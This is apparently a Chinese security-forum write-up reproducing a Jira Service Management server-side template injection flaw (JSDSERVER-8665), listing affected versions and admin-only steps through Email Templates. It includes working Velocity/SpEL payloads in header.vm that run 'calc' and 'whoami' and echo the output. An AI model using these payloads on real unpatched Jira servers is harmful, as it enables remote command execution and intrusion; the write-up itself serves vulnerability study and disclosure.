漏洞概述

Atlassian官方发布了一则漏洞通报

https://jira.atlassian.com/browse/JSDSERVER-8665

从描述中可以看出,该漏洞是一个服务端模板渲染漏洞,需要Jira Administrator权限,影响版本如下:

  • version < 4.13.9
  • 4.14.0 ≤ version < 4.18.0

漏洞复现

下载JiraService Management 4.17.1版本并安装 ,配置SMTP服务器。

使用管理员登录,进入system/EmailTemplates下载当前模板。

修改并替换header.vm文件。

$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())

进入System/SendEmail发送邮件。

选择邮件用户。

接受邮件,可以看到错误执行结果。

为标准的SPEL表达式注入,参考公开资料,注入命令执行载荷。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

基于IOUtils实现回显。

#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()

后记

这个漏洞是利用Email Templates功能点,基于Velocity模板引擎。通过补丁对比方法可以找到org.springframework.expression.spel.standard.SpelExpressionParser这个类,寻找loadComponents这个功能函数需要技巧。

参考

https://jira.atlassian.com/browse/JSDSERVER-8665

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖